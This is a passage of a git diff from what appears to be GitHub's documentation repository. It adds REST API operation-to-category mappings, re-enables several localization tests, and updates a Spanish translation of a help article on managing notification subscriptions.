+    "subcategory": "environments",
+    "originalUrl": "/rest/reference/repos#get-an-environment"
+  },
+  "repos/create-or-update-environment": {
+    "category": "deployments",
+    "subcategory": "environments",
+    "originalUrl": "/rest/reference/repos#create-or-update-an-environment"
+  },
+  "repos/delete-an-environment": {
+    "category": "deployments",
+    "subcategory": "environments",
+    "originalUrl": "/rest/reference/repos#delete-an-environment"
+  },
+  "repos/list-invitations": {
+    "category": "collaborators",
+    "subcategory": "invitations",
+    "originalUrl": "/rest/reference/repos#list-repository-invitations"
+  },
+  "repos/update-invitation": {
+    "category": "collaborators",
+    "subcategory": "invitations",
+    "originalUrl": "/rest/reference/repos#update-a-repository-invitation"
+  },
+  "repos/delete-invitation": {
+    "category": "collaborators",
+    "subcategory": "invitations",
+    "originalUrl": "/rest/reference/repos#delete-a-repository-invitation"
+  },
+  "repos/list-deploy-keys": {
+    "category": "deployments",
+    "subcategory": "keys",
+    "originalUrl": "/rest/reference/repos#list-deploy-keys"
+  },
+  "repos/create-deploy-key": {
+    "category": "deployments",
+    "subcategory": "keys",
+    "originalUrl": "/rest/reference/repos#create-a-deploy-key"
+  },
+  "repos/get-deploy-key": {
+    "category": "deployments",
+    "subcategory": "keys",
+    "originalUrl": "/rest/reference/repos#get-a-deploy-key"
+  },
+  "repos/delete-deploy-key": {
+    "category": "deployments",
+    "subcategory": "keys",
+    "originalUrl": "/rest/reference/repos#delete-a-deploy-key"
+  },
+  "repos/get-pages": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-github-pages-site"
+  },
+  "repos/create-pages-site": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#create-a-github-pages-site"
+  },
+  "repos/update-information-about-pages-site": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#update-information-about-a-github-pages-site"
+  },
+  "repos/delete-pages-site": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#delete-a-github-pages-site"
+  },
+  "repos/list-pages-builds": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-github-pages-builds"
+  },
+  "repos/request-pages-build": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#request-a-github-pages-build"
+  },
+  "repos/get-latest-pages-build": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-latest-pages-build"
+  },
+  "repos/get-pages-build": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-github-pages-build"
+  },
+  "repos/get-pages-health-check": {
+    "category": "pages",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-dns-health-check-for-github-pages"
+  },
+  "repos/get-code-frequency-stats": {
+    "category": "metrics",
+    "subcategory": "statistics",
+    "originalUrl": "/rest/reference/repos#get-the-weekly-commit-activity"
+  },
+  "repos/get-commit-activity-stats": {
+    "category": "metrics",
+    "subcategory": "statistics",
+    "originalUrl": "/rest/reference/repos#get-the-last-year-of-commit-activity"
+  },
+  "repos/get-contributors-stats": {
+    "category": "metrics",
+    "subcategory": "statistics",
+    "originalUrl": "/rest/reference/repos#get-all-contributor-commit-activity"
+  },
+  "repos/get-participation-stats": {
+    "category": "metrics",
+    "subcategory": "statistics",
+    "originalUrl": "/rest/reference/repos#get-the-weekly-commit-count"
+  },
+  "repos/get-punch-card-stats": {
+    "category": "metrics",
+    "subcategory": "statistics",
+    "originalUrl": "/rest/reference/repos#get-the-hourly-commit-count-for-each-day"
+  },
+  "repos/create-commit-status": {
+    "category": "commits",
+    "subcategory": "statuses",
+    "originalUrl": "/rest/reference/repos#create-a-commit-status"
+  },
+  "repos/get-clones": {
+    "category": "metrics",
+    "subcategory": "traffic",
+    "originalUrl": "/rest/reference/repos#get-repository-clones"
+  },
+  "repos/get-top-paths": {
+    "category": "metrics",
+    "subcategory": "traffic",
+    "originalUrl": "/rest/reference/repos#get-top-referral-paths"
+  },
+  "repos/get-top-referrers": {
+    "category": "metrics",
+    "subcategory": "traffic",
+    "originalUrl": "/rest/reference/repos#get-top-referral-sources"
+  },
+  "repos/get-views": {
+    "category": "metrics",
+    "subcategory": "traffic",
+    "originalUrl": "/rest/reference/repos#get-page-views"
+  },
+  "repos/list-invitations-for-authenticated-user": {
+    "category": "collaborators",
+    "subcategory": "invitations",
+    "originalUrl": "/rest/reference/repos#list-repository-invitations-for-the-authenticated-user"
+  },
+  "repos/accept-invitation-for-authenticated-user": {
+    "category": "collaborators",
+    "subcategory": "invitations",
+    "originalUrl": "/rest/reference/repos#accept-a-repository-invitation"
+  },
+  "repos/decline-invitation-for-authenticated-user": {
+    "category": "collaborators",
+    "subcategory": "invitations",
+    "originalUrl": "/rest/reference/repos#decline-a-repository-invitation"
+  },
+  "repos/list-branches": {
+    "category": "branches",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-branches"
+  },
+  "repos/get-branch": {
+    "category": "branches",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-branch"
+  },
+  "repos/rename-branch": {
+    "category": "branches",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#rename-a-branch"
+  },
+  "repos/merge-upstream": {
+    "category": "branches",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository"
+  },
+  "repos/merge": {
+    "category": "branches",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#merge-a-branch"
+  },
+  "repos/add-app-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#add-app-access-restrictions"
+  },
+  "repos/add-status-check-contexts": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#add-status-check-contexts"
+  },
+  "repos/add-team-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#add-team-access-restrictions"
+  },
+  "repos/add-user-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#add-user-access-restrictions"
+  },
+  "repos/create-commit-signature-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#create-commit-signature-protection"
+  },
+  "repos/delete-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#delete-access-restrictions"
+  },
+  "repos/delete-admin-branch-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#delete-admin-branch-protection"
+  },
+  "repos/delete-branch-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#delete-branch-protection"
+  },
+  "repos/delete-commit-signature-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#delete-commit-signature-protection"
+  },
+  "repos/delete-pull-request-review-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#delete-pull-request-review-protection"
+  },
+  "repos/get-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-access-restrictions"
+  },
+  "repos/get-admin-branch-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-admin-branch-protection"
+  },
+  "repos/get-all-status-check-contexts": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-all-status-check-contexts"
+  },
+  "repos/get-apps-with-access-to-protected-branch": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#list-apps-with-access-to-the-protected-branch"
+  },
+  "repos/update-pull-request-review-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#update-pull-request-review-protection"
+  },
+  "repos/get-branch-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-branch-protection"
+  },
+  "repos/get-commit-signature-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-commit-signature-protection"
+  },
+  "repos/get-pull-request-review-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-pull-request-review-protection"
+  },
+  "repos/get-status-checks-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#get-status-checks-protection"
+  },
+  "repos/get-teams-with-access-to-protected-branch": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#list-teams-with-access-to-the-protected-branch"
+  },
+  "repos/get-users-with-access-to-protected-branch": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#list-users-with-access-to-the-protected-branch"
+  },
+  "repos/remove-app-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#remove-app-access-restrictions"
+  },
+  "repos/remove-status-check-contexts": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#remove-status-check-contexts"
+  },
+  "repos/remove-status-check-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#remove-status-check-protection"
+  },
+  "repos/remove-team-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#remove-team-access-restrictions"
+  },
+  "repos/remove-user-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#remove-user-access-restrictions"
+  },
+  "repos/set-admin-branch-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#set-admin-branch-protection"
+  },
+  "repos/set-app-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#set-app-access-restrictions"
+  },
+  "repos/set-status-check-contexts": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#set-status-check-contexts"
+  },
+  "repos/set-team-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#set-team-access-restrictions"
+  },
+  "repos/set-user-access-restrictions": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#set-user-access-restrictions"
+  },
+  "repos/update-branch-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#update-branch-protection"
+  },
+  "repos/update-status-check-protection": {
+    "category": "branches",
+    "subcategory": "branch-protection",
+    "originalUrl": "/rest/reference/repos#update-status-check-protection"
+  },
+  "repos/create-deployment-status": {
+    "category": "deployments",
+    "subcategory": "statuses",
+    "originalUrl": "/rest/reference/repos#create-a-deployment-status"
+  },
+  "repos/list-deployment-statuses": {
+    "category": "deployments",
+    "subcategory": "statuses",
+    "originalUrl": "/rest/reference/repos#list-deployment-statuses"
+  },
+  "repos/get-deployment-status": {
+    "category": "deployments",
+    "subcategory": "statuses",
+    "originalUrl": "/rest/reference/repos#get-a-deployment-status"
+  },
+  "repos/list-deployments": {
+    "category": "deployments",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-deployments"
+  },
+  "repos/create-deployment": {
+    "category": "deployments",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#create-a-deployment"
+  },
+  "repos/get-deployment": {
+    "category": "deployments",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-deployment"
+  },
+  "repos/delete-deployment": {
+    "category": "deployments",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#delete-a-deployment"
+  },
+  "repos/list-releases": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-releases"
+  },
+  "repos/create-release": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#create-a-release"
+  },
+  "repos/generate-release-notes": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#generate-release-notes"
+  },
+  "repos/get-latest-release": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-the-latest-release"
+  },
+  "repos/get-release-by-tag": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-release-by-tag-name"
+  },
+  "repos/get-release": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-release"
+  },
+  "repos/update-release": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#update-a-release"
+  },
+  "repos/delete-release": {
+    "category": "releases",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#delete-a-release"
+  },
+  "repos/delete-release-asset": {
+    "category": "releases",
+    "subcategory": "assets",
+    "originalUrl": "/rest/reference/repos#delete-a-release-asset"
+  },
+  "repos/get-release-asset": {
+    "category": "releases",
+    "subcategory": "assets",
+    "originalUrl": "/rest/reference/repos#get-a-release-asset"
+  },
+  "repos/list-release-assets": {
+    "category": "releases",
+    "subcategory": "assets",
+    "originalUrl": "/rest/reference/repos#list-release-assets"
+  },
+  "repos/update-release-asset": {
+    "category": "releases",
+    "subcategory": "assets",
+    "originalUrl": "/rest/reference/repos#update-a-release-asset"
+  },
+  "repos/upload-release-asset": {
+    "category": "releases",
+    "subcategory": "assets",
+    "originalUrl": "/rest/reference/repos#upload-a-release-asset"
+  },
+  "repos/list-webhooks": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#list-repository-webhooks"
+  },
+  "repos/create-webhook": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#create-a-repository-webhook"
+  },
+  "repos/get-webhook": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#get-a-repository-webhook"
+  },
+  "repos/update-webhook": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#update-a-repository-webhook"
+  },
+  "repos/delete-webhook": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#delete-a-repository-webhook"
+  },
+  "repos/ping-webhook": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#ping-a-repository-webhook"
+  },
+  "repos/test-push-webhook": {
+    "category": "webhooks",
+    "subcategory": "repos",
+    "originalUrl": "/rest/reference/repos#test-the-push-repository-webhook"
+  },
+  "repos/get-webhook-config-for-repo": {
+    "category": "webhooks",
+    "subcategory": "repo-config",
+    "originalUrl": "/rest/reference/repos#get-a-webhook-configuration-for-a-repository"
+  },
+  "repos/update-webhook-config-for-repo": {
+    "category": "webhooks",
+    "subcategory": "repo-config",
+    "originalUrl": "/rest/reference/repos#update-a-webhook-configuration-for-a-repository"
+  },
+  "repos/get-webhook-delivery": {
+    "category": "webhooks",
+    "subcategory": "repo-deliveries",
+    "originalUrl": "/rest/reference/repos#get-a-delivery-for-a-repository-webhook"
+  },
+  "repos/list-webhook-deliveries": {
+    "category": "webhooks",
+    "subcategory": "repo-deliveries",
+    "originalUrl": "/rest/reference/repos#list-deliveries-for-a-repository-webhook"
+  },
+  "repos/redeliver-webhook-delivery": {
+    "category": "webhooks",
+    "subcategory": "repo-deliveries",
+    "originalUrl": "/rest/reference/repos#redeliver-a-delivery-for-a-repository-webhook"
+  }
+}
\ No newline at end of file
diff --git a/tests/content/featured-links.js b/tests/content/featured-links.js
index 9a4b03cb32..bf71e30ba9 100644
--- a/tests/content/featured-links.js
+++ b/tests/content/featured-links.js
@@ -50,15 +50,21 @@ describe('featuredLinks', () => {
       )
     })
 
-    // Skipped. Docs Engineering issue: 923
-    test.skip('localized intro links link to localized pages', async () => {
-      const $ = await getDOM('/ja')
-      const $featuredLinks = $('[data-testid=article-list] a')
-      expect($featuredLinks).toHaveLength(9)
-      expect($featuredLinks.eq(0).attr('href').startsWith('/ja')).toBe(true)
-      expect(japaneseCharacters.presentIn($featuredLinks.eq(1).children('h4').text())).toBe(true)
-      // skip for now
-      // expect(japaneseCharacters.presentIn($featuredLinks.eq(1).children('p').text())).toBe(true)
+    test('localized intro links link to localized pages', async () => {
+      const $jaPages = await getDOM('/ja')
+      const $enPages = await getDOM('/en')
+      const $jaFeaturedLinks = $jaPages('[data-testid=article-list] a')
+      const $enFeaturedLinks = $enPages('[data-testid=article-list] a')
+      expect($jaFeaturedLinks.length).toBe($enFeaturedLinks.length)
+      expect($jaFeaturedLinks.eq(0).attr('href').startsWith('/ja')).toBe(true)
+
+      // Footer translations change very rarely if ever, so we can more
+      // reliably test those text values for the language
+      const footerText = []
+      $jaPages('footer a').each((index, element) => {
+        footerText.push($jaPages(element).text())
+      })
+      expect(footerText.some((elem) => japaneseCharacters.presentIn(elem)))
     })
 
     test('Enterprise user intro links have expected values', async () => {
diff --git a/tests/fixtures/default-tool.md b/tests/fixtures/default-tool.md
index f9167eaa0a..dffbe47ac7 100644
--- a/tests/fixtures/default-tool.md
+++ b/tests/fixtures/default-tool.md
@@ -14,12 +14,10 @@ Intro text
 
 generic text
 
-{% include tool-switcher %}
 {% webui %} dotcom text  {% endwebui %}
 {% cli %} cli text  {% endcli %}
 {% desktop %} desktop text {% enddesktop %}
 
-{% include tool-switcher %}
 {% webui %} dotcom text 2 {% endwebui %}
 {% cli %} cli text 2 {% endcli %}
-{% desktop %} desktop text 2 {% enddesktop %}
\ No newline at end of file
+{% desktop %} desktop text 2 {% enddesktop %}
diff --git a/tests/meta/repository-references.js b/tests/meta/repository-references.js
index a1523294ff..dbe5715ec0 100644
--- a/tests/meta/repository-references.js
+++ b/tests/meta/repository-references.js
@@ -54,6 +54,7 @@ const PUBLIC_REPOS = new Set([
   'insights-releases',
   'help-docs-archived-enterprise-versions',
   'stack-graphs',
+  'codespaces-precache',
 ])
 
 const ALLOW_DOCS_PATHS = [
diff --git a/tests/rendering/header.js b/tests/rendering/header.js
index a64a9b143e..169141fe6a 100644
--- a/tests/rendering/header.js
+++ b/tests/rendering/header.js
@@ -151,15 +151,12 @@ describe('header', () => {
       expect(ghec.text().trim()).toBe('Enterprise administrators')
     })
 
-    // Skipped. Docs Engineering issue: 923
-    test.skip("point to homepages in the current page's language", async () => {
-      const $ = await getDOM(
-        '/ja/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests'
-      )
-      expect(
-        $('[data-testid=product-picker][data-current-product-path="/repositories"]').length
-      ).toBe(1)
-      expect($(`[data-testid=product-picker] a[href="/ja/enterprise-cloud/admin"]`).length).toBe(1)
+    test("point to homepages in the current page's language", async () => {
+      const $ = await getDOM('/ja/github/site-policy/github-terms-of-service')
+      const $breadcrumbRefs = $('[data-testid=breadcrumbs] a')
+      expect($breadcrumbRefs[0].attribs.href.startsWith('/ja')).toBe(true)
+      const $sidebarRefs = $('[data-testid=sidebar] a')
+      expect($sidebarRefs[0].attribs.href.startsWith('/ja')).toBe(true)
     })
 
     test('emphasizes the product that corresponds to the current page', async () => {
diff --git a/tests/rendering/rest.js b/tests/rendering/rest.js
index 00104ab042..8f66097599 100644
--- a/tests/rendering/rest.js
+++ b/tests/rendering/rest.js
@@ -4,7 +4,7 @@ import fs from 'fs/promises'
 import { difference, isPlainObject } from 'lodash-es'
 import { getJSON } from '../helpers/supertest.js'
 import enterpriseServerReleases from '../../lib/enterprise-server-releases.js'
-import getRest, { restRepoCategoryExceptions } from '../../lib/rest/index.js'
+import getRest from '../../lib/rest/index.js'
 import { jest } from '@jest/globals'
 
 const __dirname = path.dirname(fileURLToPath(import.meta.url))
@@ -28,7 +28,6 @@ describe('REST references docs', () => {
           !excludeFromResourceNameCheck.find((excludedFile) => filename.endsWith(excludedFile))
       )
       .map((filename) => filename.replace('.md', ''))
-      .filter((filename) => !restRepoCategoryExceptions.includes(filename))
 
     const missingResource =
       'Found a markdown file in content/rest/reference that is not represented by an OpenAPI REST operation category.'
diff --git a/tests/rendering/server.js b/tests/rendering/server.js
index 90cb392787..6cfdd31855 100644
--- a/tests/rendering/server.js
+++ b/tests/rendering/server.js
@@ -775,13 +775,11 @@ describe('server', () => {
 })
 
 describe('URLs by language', () => {
-  // TODO re-enable this test once TOCs are auto-generated (after PR 11731 has landed)
   test('heading IDs and links on translated pages are in English', async () => {
-    const $ = await getDOM('/ja/actions/using-github-hosted-runners/about-github-hosted-runners')
+    const $ = await getDOM('/ja/github/site-policy/github-terms-of-service')
     expect($.res.statusCode).toBe(200)
-    expect($('h2[id="further-reading"]').length).toBe(1)
-    expect($('h3[id="参考リンク"]').length).toBe(0)
-    expect($('h2 a[href="#further-reading"]').length).toBe(1)
+    expect($('h1')[0].children[0].data).toBe('GitHub利用規約')
+    expect($('h2 a[href="#summary"]').length).toBe(1)
   })
 })
 
diff --git a/tests/unit/page.js b/tests/unit/page.js
index 1329032205..63570c0f9f 100644
--- a/tests/unit/page.js
+++ b/tests/unit/page.js
@@ -666,8 +666,6 @@ describe('Page class', () => {
       expect(page.versions.fpt).toBe('*')
       expect(page.versions.ghes).toBe('>2.21')
       expect(page.versions.ghae).toBeUndefined()
-      // The `feature` prop gets deleted by lib/get-applicable-versions, so it's undefined.
-      expect(page.versions.feature).toBeUndefined()
 
       // Test the resolved versioning, where GHES releases specified in frontmatter and in
       // feature versions are combined (i.e., one doesn't overwrite the other).
diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
index 9e22e31814..a9d58fc0e6 100644
--- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
+++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing subscriptions and notifications on GitHub
-intro: 'You can specify how to receive notifications, the repositories you are interested in, and the types of activity you want to hear about.'
+title: Administrar suscripciones y notificaciones en GitHub
+intro: 'Puedes especificar cómo recibir notificciones, los repositorios que te interesan y los tipos de actividad de la cual quieres tener noticias.'
 redirect_from:
   - /categories/76/articles
   - /categories/notifications
@@ -17,6 +17,6 @@ children:
   - /setting-up-notifications
   - /viewing-and-triaging-notifications
   - /managing-subscriptions-for-activity-on-github
-shortTitle: Subscriptions & notifications
+shortTitle: Suscripciones & notificaciones
 ---
 
diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
index f989cb9be2..26f7d369e5 100644
--- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
+++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your subscriptions
-intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.'
+title: Administrar tus suscripciones
+intro: Hay varias maneras de darte de baja para ayudarte a administrar tus notificaciones de manera eficiente.
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,66 +11,63 @@ topics:
 redirect_from:
   - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions
   - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions
-shortTitle: Manage your subscriptions
+shortTitle: Administrar tus suscripciones
 ---
-To help you understand your subscriptions and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)."
+
+Para ayudarte a entender tus suscripciones y decidir si quieres desuscribirte, consulta la sección "[Visualizar tus suscripciones](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)".
 
 {% note %}
 
-**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %}
+**Nota:** En vez de desuscribirte, tienes la opción de ignorar un repositorio. Si ignoras un repositorio, no recibirás ninguna notificación. No recomendamos ignorar repositorios ya que no se te notificará si eres mencionado. {% ifversion fpt or ghec %}Si te encuentras con algún tipo de abuso y quieres ignorar un repositorio, por favor, contacta a {% data variables.contact.contact_support %} para que podamos ayudarte. {% data reusables.policies.abuse %}{% endif %}
 
 {% endnote %}
 
-## Choosing how to unsubscribe
+## Elegir cómo darte de baja
 
-To unwatch (or unsubscribe from) repositories quickly, go to the "Watched repositories" page, where you can see all repositories you're watching. For more information, see "[Unwatch a repository](#unwatch-a-repository)."
+Para dejar de observar (o para desuscribirte de) un repositorio rápidamente, ve a la página de "Repositorios en observación", donde puedes ver todos los repositorios que estás observando. Para obtener más información, consulta la sección "[Dejar de observar un repositorio](#unwatch-a-repository)".
 
-To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
+Para desuscribirte de varias notificaciones al mismo tiempo, puedes hacerlo utilizando tu bandeja de entrada o en la página de suscripciones. Ambas de estas opciones ofrecen más contexto acerca de tus suscripciones que la página de "Repositorios en observación".
 
-### Benefits of unsubscribing from your inbox
+### Beneficios de darte de baja desde tu bandeja de entrada
 
-When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)."
+Cuando te desuscribes de las notificaciones en tu bandeja de entrada, tienes varias otras opciones de clasificación y puedes filtrar tus notificaciones con filtros personalizados y tipos de discusión. Para obtener más información, consulta la sección "[Administrar notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)".
 
-### Benefits of unsubscribing from the subscriptions page
+### Beneficios de darte de baja desde la página de suscripciones
 
-When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed".
+Cuando te desuscribes de las notificaciones en la página de suscripciones, puedes ver más notificaciones a las que estés suscrito y clasificarlas por "Suscrito más recientemente" o "Suscrito más antiguamente".
 
-The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox.
+La página de suscripciones te muestra todas las notificaciones a las que estás actualmente suscrito, incluyendo aquellas que hayas marcado como **Listas** en tu bandeja de entrada.
 
-You can only filter your subscriptions by repository and the reason you're receiving the notification.
+Solo puedes filtrar tus suscripciones por repositorio y por la razón que estás recibiendo la notificación.
 
-## Unsubscribing from notifications in your inbox
+## Darte de baja de las notificaciones en tu bandeja de entrada
 
-When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox.
+Cuando te desuscribes de las notificaciones en tu bandeja de entrada, desaparecerán automáticamente de ésta.
 
 {% data reusables.notifications.access_notifications %}
-1. From the notifications inbox, select the notifications you want to unsubscribe to.
-2. Click **Unsubscribe.**
-  ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
+1. Desde la bandeja de notificaciones, selecciona aquellas de las cuales deseas darte de baja.
+2. Haz clic en **Desuscribirse.** ![Opción para darse de baja de una bandeja principal](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
 
-## Unsubscribing from notifications on the subscriptions page
+## Darse de baja de las notificaciones en la página de suscripciones
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. En la barra lateral izquierda, bajo la lista de repositorios, utiliza el menú desplegable de "Administrar notificaciones" para dar clic en **Suscripciones**. ![Opciones del menú desplegable de administrar notificaciones](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.**
-  ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
+2. Selecciona las notificaciones de las cuales quieres darte de baja. En la esquina superior derecha, da clic en **Darse de baja** ![Página de suscripciones](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
 
-## Unwatch a repository
+## Dejar de seguir un repositorio
 
-When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
+Cuando dejas de observar un repositorio, de desuscribes de notificaciones futuras del mismo, a menos de que participes en una conversación o te @mencionen.
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
+1. En la barra lateral izquierda, bajo la lista de repositorios, utiliza el menú desplegable de "Administrar notificaciones" para dar clic en **Repositorios que sigues**. ![Opciones del menú desplegable de administrar notificaciones](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. En la página de repositorios que sigues, después de que hayas evaluado aquellos que estás siguiendo, decide si quieres:
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    - Unwatch a repository
-    - Ignore all notifications for a repository
